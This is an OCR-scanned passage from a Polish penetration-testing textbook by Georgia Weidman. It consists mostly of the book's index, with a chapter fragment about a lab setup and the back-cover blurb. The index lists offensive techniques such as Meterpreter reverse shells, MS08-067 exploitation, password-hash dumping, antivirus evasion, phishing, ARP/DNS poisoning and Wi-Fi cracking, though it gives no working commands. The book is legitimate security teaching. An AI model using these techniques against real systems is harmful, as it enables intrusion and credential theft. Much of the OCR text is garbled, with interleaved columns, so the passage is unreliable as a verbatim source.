natomiast posiada¢ ukryte tylne wejscie, bedace rezultatem wezesniejszego wla-
mania do repozytoriéw pakietu Vsftpd i podmiany plikéw binarnych tego opro-
gramowania.
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Na tym etapie naszych poszukiwan widzimy juz, ze obie maszyny z syste-
mami Windows XP i Linux dzialajace w naszym srodowisku testowym majg catkiem
sporo powaznych podatnosci i luk w zabezpieczeniach. Jak do tej pory brak odpo-
wiedniej plaszezyzny ataku na komputer z systemem Windows 7 powoduje, ze
jawi sie on nam jako oaza bezpieczenstwa, ale jak sie niebawem przekonamy, ten
solidny pancerz réwniez moze skrywac kilka nieprzyjemnych niespodzianek. Zanim
przejdziemy do omawiania sposobéw wykorzystywania odkrytych podatnosci i luk
w zabezpieczeniach, w kolejnym rozdziale pokaze kilka sposobéw przechwyty-
wania i analizy ruchu sieciowego, ktére moga nam poméc w przechwytywaniu
r6znych wrazliwych informacji, takich jak nazwy kont uzytkownikéw czy hasta
dostepu wykorzystywane do logowania do r6znych ustug sieciowych.
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serwera TFTP, 523
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generowanie
kluczy, 260
kluczy SSH, 252
kodu powloki, 493, 496
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USSD, 564
zrédtowy exploita, 494, 519
zrédlowy exploita publicznego, 529
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kodowanie, 335
kolejka LIFO, 511
kolejnos¢ zapisu bajtow, 469
komendy do agenta, 573
kompilator
GCC, 340
Ming C, 52
Mingw32, 340
kompilatory skrosne, 340
kompilowanie, 338
exploita, 364
programéw, 125
komunikacja bliskiego zasiegu, 551
komunikat
Execution Hijacked, 470
o bledzie, 401, 402
koncentratory, hubs, 208
konfigurowanie
karty sieciowej, 64
lokalizacji logow, 82
masowego ataku e-mailowego, 323
maszyny wirtualnej, 267
opcji agenta SPF, 571
pakietu SPF, 552
polaczenia, 369
polaczen sieciowych, 44, 106
procesu nastuchujacego, 318
programu Ettercap, 54
przegladarki sieciowej, 395
serwera proxy, 386, 396
sieciowa systemu, 383
systemu Kali Linux, 40
systemu Windows XP, 73
zabezpieczen, 201
konsola
Msfconsole, 131, 355
phpMyAdmin, 200, 241
tekstowa, 131
konto uzytkownika, 95
kontrolowanie
rejestru, 487
urzadzenia mobilnego, 575
wskaznika EIP, 465
kon trojanski, 328
kopiowanie
aplikacji, 557
exploita, 364
tadunku, 239
plikéw, 97
kreatory polityk skanowania, 184
krétkie skoki, 517
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kryptoanaliza protokolu WEP, 433
kryteria CVSS, 189
KSA, key-scheduling algorithm, 430

L

LFI, Local File Inclusion, 405
LIFO, Last In, First Out, 511
Linux
automatyzacja zadan, 112
polaczenia sieciowe, 106
polaczenia TCP/IP, 108
procesy, 106
przetwarzanie danych, 102
system plik6w, 92
uprawnienia uzytkownikéw, 94
ustugi, 106
wiersz poleceni, 92
zarzadzanie pakietami, 105
lista
administratoréw, 371
dostepnych interfejséw, 425
dostepnych tokenéw, 379
dziatajacych proceséw, 353, 476
hasel, 258, 259
kompatybilnych tfadunkéw, 140
kont uzytkownikéw, 257
tadunkoéw, 147
modul6w pakietu BeEF, 415
opcji modutu, 149
proceséw, 371
sesji Meterpretera, 351
skan6w Nessusa, 187
skryptéw NSE, 192
logowanie do
pakietu BeEF, 415
poczty elektronicznej, 262
serwera FTP, 210, 212, 218
serwera Gmail, 323
systemu Kali Linux, 43
lokalizowanie rejestru EIP, 479
lokalne pliki serwera, 405
luka, 204
Aurora, 288
CVE-2008-2992, 293
MS08-067, 133, 188,
233-236
zero-day, 285

luki w zabezpieczeniach, 29, 75, 181, 248

po stronie klienta, 279
przegladarek PDF, 293
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przegladarek sieciowych, 284
srodowiska Java, 298
srodowiska JRE, 298

ustug, 250

L

tadunek, payload, 53, 140, 147
AllPorts, 280
bind shell, 533
domyslny, 141

java/meterpreter/reverse_tcp, 303

meterpreter/reverse_http, 300
reverse_tep_allports, 281
typu bind shell, 142

typu reverse shell, 143

w pliku /tmp/run, 365

windows/meterpreter/reverse_tcp, 347

zakodowany, 339
zawierajacy Meterpreter, 236
tadunki
HTTP, 282
HTTPS, 282
jednostopniowe, 236
Metasploita, 234, 280
PHP, 239
programu Veil-Evasion, 344
wielostopniowe, 235
tamanie
hasel, 255, 271, 274
systemu Linux, 272
zahaszowanych, 274
kluczy, 432, 440, 441
szyfrowania WEP, 436
PIN-u, 445
taricuch SEH, 499
Taczenie serwera z aplikacja, 557

M
Mac OS, 46

mapowanie zagrozen, 33

maska podsieci, 106

maszyna wirtualna
dostosowywanie urzagdzen, 64
interfejs sieciowy, 46, 47
Kali Linux, 41
karta sieciowa, 64
Mac OS, 46
polaczenia sieciowe, 44
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rozmiar dysku, 63

testowanie polaczenia, 48

Ubuntu 8.10, 82

ustawienia, 45

Windows, 45

Windows 7, 83

Windows XP, 62
maszyna-celu, 62, 82, 83
MDM, Mobile Device Management, 575
mechanizm

ASLR, 544

bezpieczenistwa, 359

DEP, 545

mandatory code signing, 285

SafeSEH, 512

SEH, 499

transferu stref, 163

UAC, 359

USSD, 563
menedzer

urzagdzen udev, 363

ushug, 373
menu

atakow, 319

atak6w socjotechnicznych, 314

pomocy, 146

ukierunkowanych atakéw phishingowych, 314
Meterpreter, 236, 350
metoda brute-force, 255, 260, 274
metody uwierzytelniania SSH, 196
Microsoft Security Essentials, 332
Microsoft Windows, 45
migawka maszyny wirtualnej, 40
migracja powloki Meterpretera, 291
MiTM, man-in-the-middle, 213
modelowanie zagrozen, 159
modut

Aurora, 287

browser_autopwn, 304, 305, 306

Incognito, 378, 379

local/bypassuac, 360

lokalny exploita, 358

MS08-067, 134, 139

multi/handler, 151, 294, 580

NSE, 192

psexec, 373

PsExec, 376

SMB Capture, 379

Socks4a, 386

SSHExec, 376
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moduly
Metasploita, 354
pakietu BeEF, 415
pakietu Metasploit, 132, 133
pomocnicze, 153, 196
skaneréw pakietu Metasploit, 196
typu Local Escalation, 358
typu post, 355
modyfikacje listy haset, 274
modyfikowanie kodu modulu, 539, 541
MSDN, Microsoft Developer Network, 61

nadpisywanie

procedur SEH, 500

wskaznika SEH, 507, 510, 514
nastuchiwanie polaczen, 109
NAT, Network Address Translation, 44
nawias klamrowy, 126
negocjacja uwierzytelniania, 439
NFC, Near Field Communication, 550, 551
NFS, Network File System, 194
NIC, Network Interface Controller, 208
niepoprawna konfiguracja zabezpieczen, 201
niestandardowe metody kompilowania, 338
NSE, Nmap Scripting Engine, 191
numer IMEI, 565

o

obstuga

tadunku, 152

pamieci kamery, 582

polecenia check, 198

polaczenia zwrotnego, 240

wielu sesji, 295

obstuga wyjatkéw, 499
obszar stosu, 451
ochrona plikéw, 332
odczytywanie zawartosci bazy danych, 402
odgadywanie

hasla, 261, 262

nazwy uzytkownika, 261
odpowiedz

ARP, 215

nslookup, 223
odszyfrowywanie

WEP, 429, 431

zahaszowanych hasel, 266
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odtwarzacz Winamp, 307 operacje USSD, 563

odwrotna powloka, reverse shell, 111 osadzanie
odwrécenie powtoki, 142 agenta, 567, 570
odzyskiwanie haszy haset, 264 plik6w wykonywalnych, 296
offset, 484 OSINT, 160
okno
3Com TFTP Service Control, 528 P
Launch Options, 58
Save’session as site, 369 pakiet, Patrz takze program
terminala, 49 3Com TFTP 2.0.1, 77
ty.pu alert, 41?’ ) Adobe Acrobat Reader, 80
Virtual Machine Settings, 45

o Aircrack-ng, 432
e vania. 280 Android SDK, 54
titrowania, Android SDK Platform-tools, 55

mechanizmu UAC, 359 .
programéw antywirusowych, 327, 334, 343 Android SDK Tools, 55

opcja BeEF, 414
CERTCN, 302 gl(ljrg Sllgée, 394

CHALLENGE, 382 H ; 341
Credential Harvester Attack Method, 320 yperion,

EXENAME, 296 Immunity Debugger, 81
Exploit Target, 139 Incognito, 378
INFILENAME, 296 Maltego, 166
Java Applet Attack Method, 320 Metasploit Framework, 129
]OHNPWFILE, 381 MiCI‘OSOft Security Essentials, 88
LAUNCH_MESSAGE, 296 Mona, 81
LHOST, 346 Nessus, 48, 51, 182
LPORT, 281, 346 Nikto, 199
Metasploit Browser Exploit Method, 320 Nmap, 172
RHOST, 138, 143 SET, 19, 313
RHOSTS, 154, 385 SLMail 5.5, 75
RPORT, 138 Smartphone Pentest Framework, 60, 549,
SigningCert, 302 552, 566
SMBPIPE, 138 Social-Engineer Toolkit, 304
SMBUser, 374 TFTP, 524
SRVHOST, 286, 299 TikiWiki, 233, 248, 350
SRVPORT, 286 Veil-Evasion, 53, 343
Tabnabbing Attack Method, 320 VMware, 39
URIPATH, 286 VMware Fusion, 40
opcje VMware Player, 40
agenta SPF, 571 VMware Tools, 68, 70, 85
exploita, 298 VMware Workstation, 39
tadunku, 144, 299 w3af, 419
modulu War-FTP 1.65, 81
exploita, 137, 144, 146 WinSCP, 81
java_signed_applet, 302 XAMPP, 78, 200
Msfvenom, 149 Zervit 0.4, 75
multi/handler, 152 pakiety
pomocniczego, 153 dodatkowe, 52
skryptu persistence, 389 ICMP Echo Request, 116
wyboru szablonéw strony, 320 IP, 216

operacja XOR, 429
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pamieé, 450
pamie¢ USB, 326
parametr
AutoRunScript, 291
ExitOnSession, 295
parametry
zaawansowane Metasploita, 290
zadania, 398
petla for, 118
pivot, 385, 386
pivoting, 382, 383, 575
plik
AuthInfo.xml, 89
authorized_list, 195
boot.ini, 244
crontab, 112
FileZilla Server.xml, 245
id_rsa, 252
id_rsa.pub, 252
InstallApp.pdf, 88
interface, 107
kaliinstall, 60
mcvcore.maki, 308
myexploit.rb, 541
myfile, 97, 102
netcatfile, 111
netlink, 365
radmin.exe, 329, 334
run, 365
SAM, 245, 265, 266
sudoers, 96
SYSTEM, 245, 265
pliki
.bin, 337
vmx, 83
APK, 570
PDF, 292, 294, 297
torrent, 61
wrazliwe, 244
wykonywalne zakodowane, 336
zaszyfrowane, 343
pobieranie
plikéw, 243
pliku konfiguracyjnego, 244
pliku Windows SAM, 245
PoC, Proof of Concept, 191, 529
poczta elektroniczna, 165
podatnosci, 181, 188
podatnosé
na wstrzykiwanie kodu, 400
na XSS, 413
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podlaczanie
aplikacji SPF, 558
debuggera, 526
klient6w
WPA/WPA2 Enterprise, 438
WPA/WPA2 Personal, 439
maszyny wirtualnej do sieci, 47
pakietu SPF, 569
podnoszenie
uprawnien, 356, 361, 366, 582
uprawnien sesji, 582
podpisywanie
apletu Java, 301
kodu, 545
pliku APK, 572
podrecznik man, 93
podzial podatnosci, 188
pole
Available targets, 136
Basic options, 136
Description, 137
Payload information, 136
Platform, 136
Privileged, 136
Rank, 136
References, 137
polecenia
Meterpretera, 352
powloki bash, 372
polecenie
Imona seh, 513
adduser, 389
aireplay-ng, 434
airmon-ng check, 426
airodump-ng, 427, 433
arpspoof, 217
awk, 104
bkhive, 265
cat, 98, 339
cd, 55, 93
cewl, 259
check, 197
chmod, 123

client.railgun.shell32.1sUserAnAdmin, 356

cp, 97

cron, 112

cut, 121

dnsspoof, 222

exit, 146, 356
exploit, 141, 154, 197
findmsp, 508
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polecenie polaczenia sieciowe, 106

getsystem, 357, 359, 360 polaczenie
getuid, 352 HTTPS, 227, 229
grep, 103, 120, 173 mostkowe, 44, 47, 383
gunzip, 258 NAT, 44
hashdump, 236, 264, 375 NFC, 550, 551
help, 132 SSL, 224, 226
host, 163 TCP, 172
if, 117 TCP/IP, 108
import socket, 124 TLS, 236
ipconfig, 72, 410, 411 typu host-only, 44
iwconfig, 425 z agentem, 569
kill, 289 z portem, 203
Is, 92, 94 z portem zdalnym, 124
maltego, 166 zwrotne, 151, 235, 240, 281
man, 93 pomoc, 146
msfcli —h, 146 poprawka bezpieczenistwa, 133
msfconsole, 131 poréwnanie haszy hasel, 269
msfvenom, 329 port, 108, 179
nc, 391 110, 164
net, 370, 371 25,164, 171
netcat, 108, 109 4444, 294, 578
netstat, 108 445, 387
nmap, 173 446, 387
nslookup, 162, 220 80, 287
pattern_create, 480 9050, 387
ping, 48, 72, 115, 116 porty
proxychains, 387 nietypowe, 202
ps aux, 365 otwarte, 202
psexec, 374 poszukiwanie adreséw poczty, 165
put, 237 po$wiadczenia
pwd, 92 domyglne, 201
return, 127 domyslne logowania, 237
rev2self, 358 logowania, 368, 381, 408, 415
route, 132, 384 logowania SSH, 559
samdump?2, 266 potoki SMB, 154
search, 134 potwierdzanie wyjatku bezpieczenstwa, 51
secpol.msc, 74 powlamaniowa eksploracja
sed, 104, 122 systemu, 354
service, 183 urzadzen mobilnych, 573
show options, 140 powloka, 110
ssh-keygen, 252 bash, 115
sudo, 96 po stronie klienta, 561
unzip, 55 Powershell, 411
upload, 351 Ruby, 356
VRFY, 205 systemu, 361
w3af, 419 poziom ryzyka podatnosci, 189
wget, 364 pozyskiwanie
whoami, 110 hasel z pamieci operacyjnej, 276
whois, 161 tokenow, 379
polityki skanowania Nessusa, 184 zahaszowanych hasel, 266, 268
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prawa dostepu, 99, 100
procedura xp_cmdshell, 403
procedury SEH, 506
proces, 106
cron, 112
nastuchujacy, 152, 318
nastuchujacy polecen powloki, 110
obstugi tadunku, 152
procesy kolidujace, 427
program
3Com TFTP 2.0.1, 77
7-Zip, 40, 61
Adobe Reader 8.1.2, 293
Aireplay-ng, 435
airodump-ng, 428
Android SDK Manager, 55, 56
Android Virtual Device Manager, 56
APKTool, 571
apt, 105
Arpspoof, 217
BookApp, 88
Burp Proxy, 394
Cadaver, 202, 237
Ettercap, 53, 224, 225
Hydra, 261, 262
Hyperion, 52, 341
Immunity Debugger, 475, 476
John the Ripper, 271, 272, 274
Maltego, 167
Metasm, 496
Microsoft Security Essentials, 332, 342
Mona, 82
MS SQL Management Studio, 89
Msftidy, 541
Msfvenom, 148, 239, 328, 335, 492
Netcat, 108, 123, 203, 262, 391
Nmap, 171, 192, 576
ProxyChains, 386, 387
PsExec, 373
Radmin Viewer, 329, 331
SLMail 5.5, 75
SQL Server Configuration Manager, 89
SQLMap, 402, 403
SSLstrip, 228, 229
theHarvester, 165, 318
Veil-Evasion, 53, 343, 345
Very Secure FTP, 182
VMware, 39
VMware Fusion, 46, 65, 70
VMware Player, 45, 62, 68
waf, 419
War-FTP, 502

Kup ksigzke

Winamp, 307

Windows Credentials Editor, 276

WinSCP, 369

Wireshark, 208

wykrywanie trojanéw, 330

Zervit 0.4, 75
programowanie, 115

programy antywirusowe, 327, 332

protokot
ARP, 214
ICMP, 116
SMTP, 171
WEP, 428
WPA, 437
WPA2, 438
WPS, 444
przechwytywanie
danych logowania, 229
nacisnietych klawiszy, 367
pakietow, 427

poswiadczen logowania, 321, 381
przegladarki sieciowej, 416
ruchu sieciowego, 207, 209

sesji logowania, 219

zadan, 398, 405, 406
przegladanie

listy administratoréw, 371

polaczen sieciowych, 108

przegladarka Iceweasel, 49, 396

przegladarki PDF, 293, 296
przejmowanie kontroli, 486
przejrzysto$é wynikéw, 120
przekazywanie

pakietow IP, 216

sterowania, 506
przekierowanie

dziatania programu, 486

ruchu sieciowego, 216, 386

ruchu wychodzgcego, 225

sterowania programem, 508, 516
przekonywanie uzytkownika, 568
przelaczanie kont uzytkownikéw, 96

przelaczniki, switches, 208
przenoszenie
kodu exploitéw, 521
plikow, 97

przepehienie bufora, 246, 449, 453, 473, 479,

500, 522
przesylanie
exploita, 579
plikow, 243, 244
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przetwarzanie danych, 102
pulapka, 491, 514, 515
punkt dostepowy, 425
pusty bajt, null byte, 533
Pwned, 235

Q

Quick Response codes, 552

randomizacja ukladu przestrzeni adresowej, 544

ranking

luk w zabezpieczeniach, 189

podatnosci, 189
raport techniczny, 35
raportowanie, 34
RC4, Rivest Cipher 4, 428
rejestr

EAX, 451

EBP, 451

EBX, 451

ECX, 451

EDL 451

EDX, 451

EIP, 451, 479

ESI, 451

ESP, 451
rejestrator domen internetowych, 160
rekonstruowanie sesji TCP, 211
rekordy DNS, 164
Remote Desktop Users, 389
retransmitowanie pakietow ARP, 435
Reverse shell, 143, 281
RFI, Remote File Inclusion, 408
rodzaje powlok, 142
root, 92, 95, 96
ROP, Return-Oriented Programming, 545
router

bezprzewodowy, 423

Linksys WRT54G2, 424
rozlaczanie sesji HTTP Meterpretera, 301
rozmiar dysku maszyny wirtualnej, 63
rozszerzanie uprawnien, 354
rozszerzenie Railgun, 356
rozwigzywanie nazw DNS, 221
RPC, Remote Procedure Call, 131, 373
ruch sieciowy, 207
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S

SAM, Windows Security Accounts Manager, 245
SEH, Structured Exception Handlers, 499, 506

Service Pack, 155
serwer
3Com TFTP, 526
Apache, 241, 243
BeEF, 414
C&C, 331
DHCP, 107
DNS, 162
FileZilla, 79
FTP, 80, 196, 197, 210
MySQL, 241
poczty elektronicznej, 75, 164
POP3, 261
proxy, 386, 395
RPC, 131
SLMail, 246
SMB, 153
SPF, 557
VPN, 165
Vsfipd, 250
War-FTP, 474, 475, 479, 502
WebDAYV, 238
WWW, 75, 165, 203, 238
Zervit 0.4, 179, 204
sesja
Meterpretera, 241, 351
powloki systemu Android, 563
SSH, 196

SET, Social-Engineer Toolkit, 19, 313

SHA, Secure Hash Algorithm, 330
sieci bezprzewodowe, 428
sie¢ Tor, 387
skaner
Nessus, 50, 52, 183
Nikto, 200
Nmap, 578
skanery portéw, 384
skanowanie

aplikacji, 419

aplikacji internetowych, 199, 419

portéw, 124, 170, 202, 385, 576

portéw reczne, 170
SYN, 172, 173
TCP, 175

TCP SYN, 172
UDP, 177
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wybranych portéw, 178, 179
za pomoca Nessusa, 186
zakodowanego pliku, 336
sklep Google Play, 570, 571
skompilowany plik APK, 573
skorka
programu Winamp, 308
Rocketship, 309
skrét, Patrz hasz
skrypt
hook.js, 415
meterpreter.php, 243
migrate, 353, 354
NFS-LS, 195
nfs-Is.nse, 194
persistence, 389
pingscript.sh, 120
powloki bash, 116
shell.php, 242
Stepl-install-iis.bat, 88
skrypty
Meterpretera, 353
Nmap, 193
powloki bash, 115
w jezyku Python, 123
stowo kluczowe
done, 119
fi, 118
then, 118
smartfony, 566
SMB, Server Message Block, 133
SMS, Short Message Service, 550

SMTP, Simple Mail Transfer Protocol, 171

sprawdzanie
historii poleceri, 372
podatnosci, 197
portéw, 125
SQL injection attack, 399
SSL stripping, 227
SSL, Secure Sockets Layer, 224
staged payloads, 235
starszefistwo bajtéw, 469
statyczny adres IP, 71, 87, 107
sterownik afd.sys, 358
sterta, heap, 450
stos, stack, 450, 452, 473
strefa zdemilitaryzowana, DMZ, 382
streszczenie raportu, 34
struktura SEH, 500
suma kontrolna, 430, 431
superuzytkownik, 92, 95
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sygnal ACK, 172
sygnatury antywirusowe, 331
symbol
$1, 118
> 111
>> 99
system
Netcraft, 160
operacyjny
Android, 54, 555
i0S, 285
Kali Linux, 40
Mac OS, 46
Ubuntu, 82
Windows, 45
plikéw, 92
zdalny, 109
szablon
pliku wykonywalnego, 338
strony internetowej, 320
wiadomosci e-mail, 316
szyfr strumieniowy RC4, 428
szyfrowanie
plikéw wykonywalnych, 341
WPA/WPA2, 423, 430, 440

-

§ledzenie rejestru ESP, 507
srodowisko
testowe, 52
uruchomieniowe JRE, 298

T
tablica ARP, 215-217

technika
Reflective DII Injection, 236
ROP, 545
Stack Cookies, 543

techniki zapobiegania atakom, 543

terminal, 91

test penetracyjny, 29
analiza podatnosci, 33
atak, 33
faza wstepna, 31
mapowanie zagrozen, 33

powlamaniowa eksploracja systemu, 33

raportowanie, 34
wewnetrzny, 30
zakres, 31
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test penetracyjny
zbieranie informacji, 32
zewnetrzny, 30
testowanie
aplikacji internetowych, 393
podatnosci, 400
polaczenia, 48
testowe $§rodowisko wirtualne, 39
teczowe tablice, rainbow tables, 275
TLS, Transport Layer Security, 236
token
delegacji, 378
personifikacji, 156, 377
transfer stref, 164
translacja adreséw sieciowych, 44
trasa, 384
trojan, 328
tryb
host-only, 383
monitora, 426
nastuchiwania, 208
tryby polaczen sieciowych, 44
tunelowanie SSH, 388
tworzenie
agenta SPF, 570
aplikacji SPF, 555
emulatora urzadzenia, 57
handlera, 294, 295
interfejsu sieciowego, 427
katalogow, 97
kont uzytkownikéw, 69, 371
konta uzytkownika, 76, 83, 388
listy haset, 259, 260
tadunkéw, 53
maszyny-celu, 62, 82, 83
migawek, 40
moduléw Metasploita, 535
modulu exploita, 538
plikow, 97
pliku PDF, 293, 296
pliku wykonywalnego, 336
polityki skanowania, 183, 184
polaczenia zwrotnego, 235
procesu nastuchujacego, 152, 318
przestrzeni kluczy, 260
samodzielnych tadunkéw, 148
sesji Meterpretera, 240, 287
surowego tadunku, 339
szablonu wiadomosci, 316
uzytkownika FTP, 80
wirtualnego srodowiska testowego, 39
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zadan cron, 391

zaszyfrowanych plikéw, 343

zlosliwego agenta SPF, 567

zlosliwych agentéw SPF, 566
tylne wejscie, backdoor, 182, 250, 563

U

UAC, User Account Control, 359
Ubuntu 8.10, 82
uchwyty, handlers, 378
udzial administracyjny ADMINS, 373
udzialy NFS, 251
uprawnienia uzytkownika, 94, 356
uruchamianie
emulatora urzadzenia, 58, 59
exploita, 141, 144, 386, 534, 580, 582
konsoli Msfconsole, 131
modulu Aurora, 287
modulu BeEF, 417
modutu browser_autopwn, 305
modulu exploita, 148, 358
modutu klasy post, 355
modulu Metasploita, 131, 560
pakietu Burp Suite, 394
pakietu SET, 313
pakietu SPF, 553
pliku PDF, 297
powloki, 111, 492
procedury xp_cmdshell, 403
programu Hyperion, 342
programu Veil-Evasion, 344
serwera BeEF, 414
serwera Zervit 0.4, 75
sesji Meterpretera, 350
skanera Nikto, 200
skanera Nmap, 387, 578
skanu Nessusa, 187
skryptow, 117, 238
skryptéw Meterpretera, 289
skryptéw w sesjach, 289
skryptu migrate, 354
skryptu NSE, 194
skryptu persistence, 390
systemu Kali Linux, 42, 267
ushug pakietu XAMPP, 79
zapytan SQL, 242
urzadzenia
maszyny wirtualnej, 64
mobilne, 549, 563
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ushuga, 106
3Com TFTP, 77
IIS, 410
Metasploit, 131
NFS, 194
SMB, 133
VirusTotal, 333

ushugi tamania hasel, 275

USSD, Unstructured Supplementary Service

Data, 563

ustawianie

hasta, 70, 71, 84

nazwy komputera, 66

opcji exploita, 137, 298

opcji fadunku, 316

parametru AutoRunScript, 291

putapki, 490, 491

statycznego adresu IP, 71, 85, 107
ustawienia grupy roboczej, 67
usuwanie

ostatniego znaku, 122

plikéw, 97
utrzymywanie dostepu, 388
uwierzytelnianie, 374

SMB, 376

SSH, 196, 253

XML, 403
uzyskiwanie pomocy, 146
uzytkownik secret, 380
uzywanie skaneréw podatnosci, 189

\"4

VMware, 39
VMware Player, 45

w

warto$¢ skrotu hasel, 264
wezesne wykrywanie, 236
wektor inicjujacy, IV, 429
WEP, Wired Equivalent Privacy, 428
weryfikowanie

certyfikatu, 225

offsetow, 484, 509
wewnetrzna baza danych, 399
wiadomosci tekstowe, 550
wigzanie powloki, 142
wiersz poleceni, 92, 131, 145
WiFi Protected Setup, 444
Windows 7, 83

Kup ksigzke

Windows XP, 62, 73
wirtualne
cele ataku, 61
srodowisko testowe, 39
wlasciciel pliku, 99
WPA, WiFi Protected Access, 437
wrazliwe dane, 407
wskaznik
EIP, 465
SEH, 510
wstrzykiwanie
kodu powloki, 343
kodu SQL, 399, 403
kodu XPath, 403
pakietéw, 433
wtyczka Mona, 480, 533
wybieranie
adresata, 316
formatu tadunku, 149
interfejsu sieciowego, 209
tadunku, 143, 149, 315, 517
nazwy pliku, 316
rodzaju skanu, 185
szablonu wiadomosci, 317
wyjatek bezpieczenstwa, 51
wykonywanie polecen, 409
wykorzystywanie
adresu powrotu, 490
backdoora, 250
bledéw przepelnienia, 246
exploita, 249
konsoli phpMyAdmin, 241

luk w zabezpieczeniach, 248, 279, 385

Java, 300
ushug, 250
luki Aurora, 288
luki MS08-067, 236
otwartych udzialéw NFS, 251
podatnosci, 401
poswiadczen logowania, 237
stron internetowych, 319
wykrywanie tadunkéw, 333
wylaczanie
automatycznych aktualizacji, 86
ochrony, 89
zapory sieciowej, 70, 71
wyludzanie
informacji, 160
poswiadczen logowania, 325
wymuszanie awarii programu, 456, 476
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wyniki X
dziatania skryptu, 193, 195

dzialania zapytan, 169 XAMPP 1.7.2, 78

dzialania zapytaf Maltego, 170 XSS, Cross Site Scripting, 411
skanowania SYN, 173

skanowania TCP, 175 y 4
skanowania UDP, 177

skanu, 188 zabezpieczenia DEP, 546

zapytania Netcraft, 161
wyodrebnianie klucza bootkey, 265
wypychanie powloki, 111
wysylanie wiadomosci e-mail, 318, 324
wyszukiwanie

adresu powrotu, 532

bajtow wzorca, 505

bezprzewodowych punktéw dostepowych,

425

bledéw, 522

ciggu znakéw, 506

exploita, 363

informacji, 366

zakodowany tadunek, 339
zakres testu penetracyjnego, 31
zamiana

bajtéw nadpisujacych, 514

kodu powloki, 533
zapewnianie dostepu, 389
zapisywanie po$wiadczen logowania, 369
zapobieganie

atakom, 543

wlamaniom, 236

wykonywaniu danych, 545
zapora sieciowa, 70

kompatybilnych tadunkéw, 140 zapytania .
luk w zabezpieczeniach, 181, 191, 361, 474 ]?NS’ 162
moduléw, 132, 134 SQL, 242
nazw kont uzytkownikéw, 204 w pa'klec1e Maltego, 168
niewlasciwych znakéw, 493 whois, 161
offsetéw wzorca, 484 XPathf 403
offsetu adresu powrotu, 480 zarzadzanie
plikéw, 367 baza danych, 200
podatnosci, 181, 191, 361 hastami, 255
podciagu znakéw, 483 polaczeniami sieciowymi, 106
tekstu, 101 zainstalowanymi pakietami, 105
wystapiefi instrukeji, 532 zasada dzialania modul6éw, 286
znanych podatnosci, 474 zastosowanie

wyS§wietlanie exploita winamp_maki_bof, 307
danych logowania, 229 fadunku java/meterpreter/reverse_tep, 303
ekranu pomocy, 328 modutu
informacji, 574 browser_autopwn, 304
konfiguracji polaczen, 106 local/bypassuac, 360
listy interfejsow, 425 multi/handler, 151
listy proceséw, 353, 371 psexec, 373
listy tokenéw, 379 SMB Capture, 380
laricucha SEH, 501 SSHExec, 376
opcji, 146 polecenia
zawarto$ci pliku SAM, 265 cewl, 259

wywolywanie awarii programu, 463, 525 hashdump, 375

wzorce, 104 upload, 351

wzorce cykliczne, 504 wget, 364

wzorzec Mona, 505
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programu
Ettercap, 224
Hydra, 262
John the Ripper, 271, 274
SQLMap, 402
SSLstrip, 228
Wireshark, 208
wzorca cyklicznego, 504
zatruwanie
DNS, 220, 222
tablic ARP, 216-219
zatrzymywanie dzialajacego zadania, 288
zbieranie informacji, 32, 159
zdalna kontrola urzadzen, 563
mobilnych, 575
zdalne sterowanie, 575
zdalny pulpit, 389
zlosliwe
agenty SPF, 566
aplikacje, 565
oprogramowanie, 333
pliki, 336
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punkty dostepowe, 326
skorki programu, 308
skrypty PHP, 409
wiadomosci, 318, 322
zmiana
katalog6w, 92
ustawien interfejsu sieciowego, 46, 47
ustawien maszyny wirtualnej, 45
zmienna §rodowiskowa PATH, 117
znaczniki NFC, 551
znak réwnosci, 118
znaki drukowalne, 339

z

zadanie
anulowania uwierzytelnienia, 433
ARP, 435
HTTP GET, 396
logowania, 405
wyS$wietlenia biuletynu, 406
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Sprawdi bezpieczenstwo Twojego systemu!

Chcesz sprawdzi¢, czy Twdj system jest bezpie-
czny? Zaatakuj go! Najskuteczniej zrobisz to z wyko-
rzystaniem testow penetracyjnych. W ich trakcie
pentesterzy (osoby prowadzace testy penetracyjne)
wecielaja si¢ w role wlamywacza i probuja przelamac
zabezpieczenia testowanego systemu. Jezeli system
sie obroni, to oczywiscie zda test. ale nie przestawaj
by¢ czujny! Jezeli nie — otrzymasz szczegolowy
raport ze wskazaniem, ktdre obszary sa podatne na
atak oraz jak zwickszyC bezpieczenstwo Twojego
systemu.

Jezeli interesujesz si¢ bezpieczenstwem systemow
informatycznych i chcialbys zosta¢ pentesterem,
ta ksiazka wprowadzi Ci¢ w Swiat testow penetra-
cyjnvch. Siggnij po nig i przekonaj si¢. jak przygo-
towa¢ Srodowisko do testow oraz nauki. W kolej-
nych rozdzialach poznasz Kali Linux (specjalna
dystrybucje Linuksa). a takze nauczysz si¢ tworzyc¢
skrypty Bash oraz Python. Gdy juz opanujesz
podstawy, czas zabraC si¢ za analiz¢ pierwszego
systemu. Czes¢ druga ksigzki zostala poswigcona
temu tematowi. Zobaczysz. jak zbiera¢ informacje
o systemie, wyszukiwac podatnosci na atak i luki
w zabezpieczeniach oraz przechwytywac ruch

.sieciowy. Czesc trzecia ksigzki skupia si¢ na przepro-

wadzaniu ataku. Dowiesz si¢. jak atakowac¢ hasla,
omija¢ programy antywirusowe. prowadzi¢ ataki
socjotechniczne, weryfikowa¢ aplikacje internetowe
oraz sieci bezprzewodowe. Na sam koniec nauczysz
si¢ tworzy¢ exploity oraz testowaé bezpieczenstwo

urzadzen mobilnych. Ksigzka ta jest doskonalym
zrodlem informacji. ktore blyskawicznie wprowadzi
Ci¢ w $wiat testow penetracyjnych.

Dzigki tej ksiazce:
? poznasz elementarz pentestera

® przygotujesz swoje Srodowisko pracy

opanujesz dystrybucj¢ Linuksa — Kali Linux

nauczysz si¢ tworzy¢ skrypty

przygotujesz si¢ i przeprowadzisz atak na
weryfikowany system informatyczny

? pewnie wkroczysz w pasjonujacy Swiat testow
penetracyjnych

0 autorze

Georgia Weidman — zawodowa pentesterka i ba-
daczka zagadnien zwigzanych z bezpieczenstwem
systemow informatycznych. Zalozycielka firmy kon-
sultingowej Bulb Security. Prelegentka na miedzy-
narodowych konferencjach i seminariach, takich jak
Black Hat. DerbyCon, ShmooCon. Otrzymala grant
sponsorowany przez agencjc DARPA na kontynu-
acje i rozwoj aplikacji w zakresie bezpieczenstwa.
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